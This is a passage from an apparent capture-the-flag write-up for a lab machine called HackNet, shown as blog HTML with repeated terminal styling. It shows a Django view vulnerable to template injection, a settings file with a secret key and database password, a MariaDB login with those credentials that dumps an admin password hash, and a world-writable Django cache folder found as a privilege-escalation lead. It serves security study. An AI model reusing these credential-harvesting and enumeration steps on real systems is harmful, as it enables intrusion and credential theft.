      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>These are mostly source code for the Django app. In <code class="language-plaintext highlighter-rouge">views.py</code>, I found the function that made the app vulnerable to SSTI:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">likes</span><span class="p">(</span><span class="n">request</span><span class="p">,</span> <span class="n">pk</span><span class="p">):</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="sh">"</span><span class="s">email</span><span class="sh">"</span> <span class="ow">in</span> <span class="n">request</span><span class="p">.</span><span class="n">session</span><span class="p">.</span><span class="nf">keys</span><span class="p">():</span>
        <span class="k">return</span> <span class="nf">redirect</span><span class="p">(</span><span class="sh">"</span><span class="s">index</span><span class="sh">"</span><span class="p">)</span>

    <span class="n">session_user</span> <span class="o">=</span> <span class="nf">get_object_or_404</span><span class="p">(</span><span class="n">SocialUser</span><span class="p">,</span> <span class="n">email</span><span class="o">=</span><span class="n">request</span><span class="p">.</span><span class="n">session</span><span class="p">[</span><span class="sh">'</span><span class="s">email</span><span class="sh">'</span><span class="p">])</span>
    <span class="n">post</span> <span class="o">=</span> <span class="nf">get_object_or_404</span><span class="p">(</span><span class="n">SocialArticle</span><span class="p">,</span><span class="n">pk</span><span class="o">=</span><span class="n">pk</span><span class="p">)</span>
    <span class="n">users</span> <span class="o">=</span> <span class="n">post</span><span class="p">.</span><span class="n">likes</span><span class="p">.</span><span class="nf">all</span><span class="p">()</span>

    <span class="n">engine</span> <span class="o">=</span> <span class="n">engines</span><span class="p">[</span><span class="sh">"</span><span class="s">django</span><span class="sh">"</span><span class="p">]</span>
    <span class="n">template_string</span> <span class="o">=</span> <span class="sh">""</span>

    <span class="n">context</span> <span class="o">=</span> <span class="p">{</span><span class="sh">"</span><span class="s">users</span><span class="sh">"</span><span class="p">:</span> <span class="n">users</span><span class="p">}</span>

    <span class="k">for</span> <span class="n">user</span> <span class="ow">in</span> <span class="n">users</span><span class="p">:</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">user</span><span class="p">.</span><span class="n">is_hidden</span> <span class="ow">or</span> <span class="n">user</span> <span class="o">==</span> <span class="n">session_user</span><span class="p">:</span>
            <span class="n">template_string</span> <span class="o">+=</span> <span class="sh">"</span><span class="s">&lt;div class=</span><span class="se">\"</span><span class="s">likes-review-item</span><span class="se">\"</span><span class="s">&gt;&lt;a href=</span><span class="se">\"</span><span class="s">/profile/</span><span class="sh">"</span><span class="o">+</span><span class="nf">str</span><span class="p">(</span><span class="n">user</span><span class="p">.</span><span class="n">pk</span><span class="p">)</span><span class="o">+</span><span class="sh">"</span><span class="se">\"</span><span class="s">&gt;&lt;img src=</span><span class="se">\"</span><span class="sh">"</span><span class="o">+</span><span class="n">user</span><span class="p">.</span><span class="n">picture</span><span class="p">.</span><span class="n">url</span><span class="o">+</span><span class="sh">"</span><span class="se">\"</span><span class="s"> title=</span><span class="se">\"</span><span class="sh">"</span><span class="o">+</span><span class="n">user</span><span class="p">.</span><span class="n">username</span><span class="o">+</span><span class="sh">"</span><span class="se">\"</span><span class="s">&gt;&lt;/a&gt;&lt;/div&gt;</span><span class="sh">"</span>

    <span class="k">try</span><span class="p">:</span>
        <span class="n">template</span> <span class="o">=</span> <span class="n">engine</span><span class="p">.</span><span class="nf">from_string</span><span class="p">(</span><span class="n">template_string</span><span class="p">)</span>
    <span class="k">except</span><span class="p">:</span>
        <span class="n">template</span> <span class="o">=</span> <span class="n">engine</span><span class="p">.</span><span class="nf">from_string</span><span class="p">(</span><span class="sh">"</span><span class="s">&lt;div class=</span><span class="se">\"</span><span class="s">likes-review-item</span><span class="se">\"</span><span class="s">&gt;&lt;a&gt;Something went wrong...&lt;/a&gt;&lt;/div&gt;</span><span class="sh">"</span><span class="p">)</span>

    <span class="k">return</span> <span class="nc">HttpResponse</span><span class="p">(</span><span class="n">template</span><span class="p">.</span><span class="nf">render</span><span class="p">(</span><span class="n">context</span><span class="p">,</span> <span class="n">request</span><span class="p">))</span>
</code></pre></div></div>
<p><br /></p>

<p>The template string is dynamically generated with <code class="language-plaintext highlighter-rouge">user.username</code>, and there’s no validation at all. Hence it’s possible to inject extra template variables.</p>

<p>As demonstrated earlier, this makes it vulnerable to SSTI, XSS and HTML injection at the same time.</p>

<h6 id="hacknet"><code class="language-plaintext highlighter-rouge">HackNet</code>:</h6>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Hacknet</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">mikey@hacknet</span>:<span class="linux-path">/var/www/HackNet</span><span class="linux-char">$</span></span> <span class="linux-bash">ls -la HackNet</span>

<span class="linux-output">total 28
drwxr-xr-x 3 sandy sandy 4096 Sep  8 05:20 .
drwxr-xr-x 7 sandy sandy 4096 Feb 10  2025 ..
-rw-r--r-- 1 sandy sandy  168 May 31  2024 asgi.py
-rw-r--r-- 1 sandy sandy    0 May 31  2024 __init__.py
drwxr-xr-x 2 sandy sandy 4096 Sep  8 05:22 __pycache__
-rw-r--r-- 1 sandy sandy 2697 Feb 10  2025 settings.py
-rw-r--r-- 1 sandy sandy  313 Sep  8 05:20 urls.py
-rw-r--r-- 1 sandy sandy  168 May 31  2024 wsgi.py</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>This folder includes the Django configs. <code class="language-plaintext highlighter-rouge">settings.py</code> contains the app secret key and database creds.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="n">pathlib</span> <span class="kn">import</span> <span class="n">Path</span>
<span class="kn">import</span> <span class="n">os</span>

<span class="n">BASE_DIR</span> <span class="o">=</span> <span class="nc">Path</span><span class="p">(</span><span class="n">__file__</span><span class="p">).</span><span class="nf">resolve</span><span class="p">().</span><span class="n">parent</span><span class="p">.</span><span class="n">parent</span>

<span class="n">SECRET_KEY</span> <span class="o">=</span> <span class="sh">'</span><span class="s">agyasdf&amp;^F&amp;ADf87AF*Df9A5D^AS%D6DflglLADIuhldfa7w</span><span class="sh">'</span>

<span class="p">..</span><span class="n">SNIP</span><span class="p">..</span>

<span class="n">WSGI_APPLICATION</span> <span class="o">=</span> <span class="sh">'</span><span class="s">HackNet.wsgi.application</span><span class="sh">'</span>

<span class="n">DATABASES</span> <span class="o">=</span> <span class="p">{</span>
    <span class="sh">'</span><span class="s">default</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
        <span class="sh">'</span><span class="s">ENGINE</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">django.db.backends.mysql</span><span class="sh">'</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">NAME</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">hacknet</span><span class="sh">'</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">USER</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">sandy</span><span class="sh">'</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">PASSWORD</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">h@ckn3tDBpa$$</span><span class="sh">'</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">HOST</span><span class="sh">'</span><span class="p">:</span><span class="sh">'</span><span class="s">localhost</span><span class="sh">'</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">PORT</span><span class="sh">'</span><span class="p">:</span><span class="sh">'</span><span class="s">3306</span><span class="sh">'</span><span class="p">,</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="p">..</span><span class="n">SNIP</span><span class="p">..</span>
</code></pre></div></div>
<p><br /></p>

<p>The creds can be used to access the MySQL instance running locally.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Hacknet</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">mikey@hacknet</span>:<span class="linux-path">/var/www/HackNet</span><span class="linux-char">$</span></span> <span class="linux-bash">mysql -h localhost -u 'sandy' -p'h@ckn3tDBpa$$'</span>

<span class="linux-output">Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 4065
Server version: 10.11.11-MariaDB-0+deb12u1 Debian 12

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script><span class="custom-prompt" style="color: lightgreen; font-weight: bold;"><span class="custom-path">MariaDB [(none)]&gt;</span></span> <span class="custom-cmd">show databases;</span>

<span class="custom-output">+--------------------+
| Database           |
+--------------------+
| hacknet            |
| information_schema |
| mysql              |
+--------------------+
3 rows in set (0.001 sec)</span></pre>
  </div>
</div>

<p>There’s an admin hash in the <code class="language-plaintext highlighter-rouge">hacknet</code> database, but it’s uncrackable.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Hacknet</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="custom-prompt" style="color: lightgreen; font-weight: bold;"><span class="custom-path">MariaDB [hacknet]&gt;</span></span> <span class="custom-cmd">select username, email, password from auth_user;</span>

<span class="custom-output">+----------+-------+------------------------------------------------------------------------------------------+
| username | email | password                                                                                 |
+----------+-------+------------------------------------------------------------------------------------------+
| admin    |       | pbkdf2_sha256$720000$I0qcPWSgRbUeGFElugzW45$r9ymp7zwsKCKxckgnl800wTQykGK3SgdRkOxEmLiTQQ= |
+----------+-------+------------------------------------------------------------------------------------------+
1 row in set (0.001 sec)</span></pre>
  </div>
</div>

<h3 id="writable-directories">Writable Directories:</h3>

<p>I’ll look for writable directories, and found <code class="language-plaintext highlighter-rouge">/var/tmp/django_cache</code>:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Hacknet</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">mikey@hacknet</span>:<span class="linux-path">/var/www/HackNet</span><span class="linux-char">$</span></span> <span class="linux-bash">find / -writable -type d 2&gt;/dev/null</span>

<span class="linux-output">/dev/mqueue
/dev/shm
/var/tmp
/var/tmp/django_cache
/sys/fs/cgroup/user.slice/user-1000.slice/user@1000.service
/sys/fs/cgroup/user.slice/user-1000.slice/user@1000.service/app.slice
/sys/fs/cgroup/user.slice/user-1000.slice/user@1000.service/app.slice/dbus.socket
/sys/fs/cgroup/user.slice/user-1000.slice/user@1000.service/init.scope
/tmp
/tmp/.XIM-unix
..SNIP..</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>In fact, the folder has full 777 permissions.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Hacknet</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">mikey@hacknet</span>:<span class="linux-path">/var/tmp/django_cache</span><span class="linux-char">$</span></span> <span class="linux-bash">ls -la</span>

<span class="linux-output">total 8
drwxrwxrwx 2 sandy www-data 4096 Dec 24 10:10 .
drwxrwxrwt 4 root  root     4096 Dec 25 00:00 ..</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>As the name suggests, it’s related to Django caches. I had another look at the Django source files, and in <code class="language-plaintext highlighter-rouge">settings.py</code> seen earlier, I found this config:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">CACHES</span> <span class="o">=</span> <span class="p">{</span>
    <span class="sh">'</span><span class="s">default</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
        <span class="sh">'</span><span class="s">BACKEND</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">django.core.cache.backends.filebased.FileBasedCache</span><span class="sh">'</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">LOCATION</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">/var/tmp/django_cache</span><span class="sh">'</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">TIMEOUT</span><span class="sh">'</span><span class="p">:</span> <span class="mi">60</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">OPTIONS</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span><span class="sh">'</span><span class="s">MAX_ENTRIES</span><span class="sh">'</span><span class="p">:</span> <span class="mi">1000</span><span class="p">},</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p><br /></p>

<p>According to the <a href="https://docs.djangoproject.com/en/6.0/topics/cache/#filesystem-caching">docs</a>, this configures the cache to be saved as a file in <code class="language-plaintext highlighter-rouge">/var/tmp/django_cache</code>.</p>

<p>In <code class="language-plaintext highlighter-rouge">views.py</code>, I also found this function:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@cache_page</span><span class="p">(</span><span class="mi">60</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">explore</span><span class="p">(</span><span class="n">request</span><span class="p">):</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="sh">"</span><span class="s">email</span><span class="sh">"</span> <span class="ow">in</span> <span class="n">request</span><span class="p">.</span><span class="n">session</span><span class="p">.</span><span class="nf">keys</span><span class="p">():</span>
        <span class="k">return</span> <span class="nf">redirect</span><span class="p">(</span><span class="sh">"</span><span class="s">index</span><span class="sh">"</span><span class="p">)</span>

    <span class="n">session_user</span> <span class="o">=</span> <span class="nf">get_object_or_404</span><span class="p">(</span><span class="n">SocialUser</span><span class="p">,</span> <span class="n">email</span><span class="o">=</span><span class="n">request</span><span class="p">.</span><span class="n">session</span><span class="p">[</span><span class="sh">'</span><span class="s">email</span><span class="sh">'</span><span class="p">])</span>

    <span class="n">page_size</span> <span class="o">=</span> <span class="mi">10</span>
    <span class="n">keyword</span> <span class="o">=</span> <span class="sh">""</span>

    <span class="k">if</span> <span class="sh">"</span><span class="s">keyword</span><span class="sh">"</span> <span class="ow">in</span> <span class="n">request</span><span class="p">.</span><span class="n">GET</span><span class="p">.</span><span class="nf">keys</span><span class="p">():</span>
        <span class="n">keyword</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">GET</span><span class="p">[</span><span class="sh">'</span><span class="s">keyword</span><span class="sh">'</span><span class="p">]</span>
        <span class="n">posts</span> <span class="o">=</span> <span class="n">SocialArticle</span><span class="p">.</span><span class="n">objects</span><span class="p">.</span><span class="nf">filter</span><span class="p">(</span><span class="n">text__contains</span><span class="o">=</span><span class="n">keyword</span><span class="p">).</span><span class="nf">order_by</span><span class="p">(</span><span class="sh">"</span><span class="s">-date</span><span class="sh">"</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">posts</span> <span class="o">=</span> <span class="n">SocialArticle</span><span class="p">.</span><span class="n">objects</span><span class="p">.</span><span class="nf">all</span><span class="p">().</span><span class="nf">order_by</span><span class="p">(</span><span class="sh">"</span><span class="s">-date</span><span class="sh">"</span><span class="p">)</span>

    <span class="n">pages</span> <span class="o">=</span> <span class="nf">ceil</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">posts</span><span class="p">)</span> <span class="o">/</span> <span class="n">page_size</span><span class="p">)</span>

    <span class="p">..</span><span class="n">SNIP</span><span class="p">..</span>

    <span class="k">return</span> <span class="nf">render</span><span class="p">(</span><span class="n">request</span><span class="p">,</span> <span class="sh">"</span><span class="s">SocialNetwork/explore.html</span><span class="sh">"</span><span class="p">,</span> <span class="n">context</span><span class="p">)</span>
</code></pre></div></div>
<p><br /></p>

<p>There’s a <code class="language-plaintext highlighter-rouge">@cache_page(60)</code> decorator on the <code class="language-plaintext highlighter-rouge">explore()</code> function. This means that whenever someone browses to the <code class="language-plaintext highlighter-rouge">/explore</code> page, its response will be cached for 60 seconds (<a href="https://docs.djangoproject.com/en/6.0/topics/cache/#the-per-view-cache">docs</a>).</p>

<p>At the moment, the cache folder is empty:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Hacknet</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">mikey@hacknet</span>:<span class="linux-path">/var/tmp/django_cache</span><span class="linux-char">$</span></span> <span class="linux-bash">ls -la</span>

<span class="linux-output">total 8
drwxrwxrwx 2 sandy www-data 4096 Dec 25 09:25 .
drwxrwxrwt 4 root  root     4096 Dec 25 00:00 ..</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
